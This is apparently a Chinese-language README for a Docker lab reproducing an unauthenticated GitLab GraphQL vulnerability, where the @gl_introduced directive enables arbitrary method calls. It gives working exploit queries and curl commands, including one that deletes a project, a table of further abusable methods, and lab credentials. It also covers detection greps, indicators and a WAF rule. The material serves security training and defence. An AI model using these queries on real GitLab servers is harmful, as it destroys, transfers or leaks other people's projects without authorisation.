GitLab CE/EE 中通过 GraphQL 指令实现的未认证远程代码注入 — 仅需一个 HTTP 请求即可删除任意公共项目
这是一个实战渗透测试实验环境,用于复现 CVE-2026-19478——GitLab GraphQL API 中的一个严重(CVSS 9.4)漏洞。@gl_introduced 指令允许未认证攻击者在服务器端对象上执行任意 Ruby 方法——包括项目删除、数据外泄和所有权转移——全程无需任何认证。
该实验环境在 Docker 中运行一个真实存在漏洞的 GitLab CE 19.2.0 实例,供进行贴近实战的漏洞利用练习。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-19478 |
| CVSS 评分 | 9.4(严重) |
| 产品 | GitLab 社区版(CE)/ 企业版(EE) |
| 漏洞类型 | 代码注入 / 任意方法执行(CWE-94) |
| 攻击向量 | 网络(远程) |
| 身份认证 | 无需认证 |
| 用户交互 | 无 |
| 攻击复杂度 | 低 |
| 受影响版本 | 18.2 – 18.11.10、19.0 – 19.0.7、19.1 – 19.1.5、19.2 – 19.2.3 |
| 已修复版本 | 18.11.11、19.0.8、19.1.6、19.2.4 |
| 发现者 | hiimguardian(通过 HackerOne) |
| 修复日期 | 2026 年 8 月 17 日 |
未认证的远程攻击者可以:
GitLab 使用自定义 GraphQL 指令 @gl_introduced(version: "X.Y") 来支持滚动部署。当较新版本的 GitLab 向 GraphQL API 添加字段时,旧实例会优雅地处理引用这些新字段的查询——返回 null 而不是报错。
文件: lib/gitlab/graphql/version_filter/future_field_fallback.rb(第 14-36 行)
分步解析:
FutureFieldFilter 扫描传入的 GraphQL 查询。当某个字段带有版本号高于当前服务器的 @gl_introduced(version) 时,它会移除该字段,并设置 context[:contain_future_fields] = true。
IntroducedTracer 会在执行时恢复原始查询文档,将移除的字段放回 AST 中。
FutureFieldFallback#get_field 在执行过程中拦截每次字段查找。它检查三个条件:
contain_future_fields 标志?✅__ 开头?✅当全部三个检查都通过时,它会合成一个新的 GraphQL::Schema::Field,且不附带任何解析器(resolver)类。
在 graphql-ruby 中,没有解析器的字段会通过在底层 Ruby 对象上调用 object.public_send(field_name) 来完成解析——将攻击者的字段名转变为对 Project ActiveRecord 模型的一次任意方法调用。
GitLab 的补丁将隐式方法分发替换为无条件返回 nil 的显式 NilResolver,在保留滚动部署兼容性的同时消除了任意方法执行:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| 服务 | URL | 凭据 |
|---|---|---|
| GitLab Web UI | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | 无需认证 |
| GraphQL Explorer | http://localhost/-/graphql-explorer | 需要登录 |
| SSH | localhost:2222 | — |
适用于资源有限的机器,或希望更快启动的场景:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
检查服务器版本:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
通过 GraphQL 枚举公共项目(无需认证):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
通过 schema 内省发现 @gl_introduced 指令:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
在 schema 中不存在的字段上使用带未来版本号的 @gl_introduced:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
如果存在漏洞,class 将返回 Ruby 类名("Project"),从而确认存在任意方法分发。
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
警告: 以下操作将永久删除该项目。
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
GitLab Project 模型上其他可利用的方法:
| 方法 | 影响 |
|---|---|
destroy | 永久删除项目 |
archive | 归档项目 |
transfer | 转移项目所有权 |
attributes | 转储所有数据库属性 |
repository | 访问仓库对象 |
members | 列出项目成员 |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| 指标 | 描述 |
|---|---|
@gl_introduced(version: "99.0") | 使用高得离谱的版本号进行漏洞利用尝试 |
字段名:destroy、delete、update、transfer | 针对具有破坏性的 ActiveRecord 方法 |
| 项目被意外删除 | 项目在管理员未操作的情况下消失 |
| 可见性变更 | 公共项目突然变为私有 |
| 所有权转移 | 项目被转移到未知用户名下 |
阻止包含高版本号 @gl_introduced 的 GraphQL 请求:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced 的 GraphQL 请求本实验环境专为经授权的安全教育和渗透测试培训而构建。它只能在您拥有或已获得明确书面授权进行测试的受控、隔离环境中使用。
请勿在未经适当授权的情况下,将本实验环境中的技术、工具或漏洞利用代码用于任何系统。根据《计算机欺诈与滥用法》(CFAA)及全球范围内的同类法律,未经授权访问计算机系统属于违法行为。
作者和贡献者不对因使用本实验环境或其内容而造成的任何滥用或损害承担责任。
在 Instagram 上关注 @pwnsystem,获取每日网络安全技巧、CVE 深度解读和漏洞利用演练。
在 LinkedIn 上与 Punit Darji 建立联系,获取专业安全见解与实验环境更新。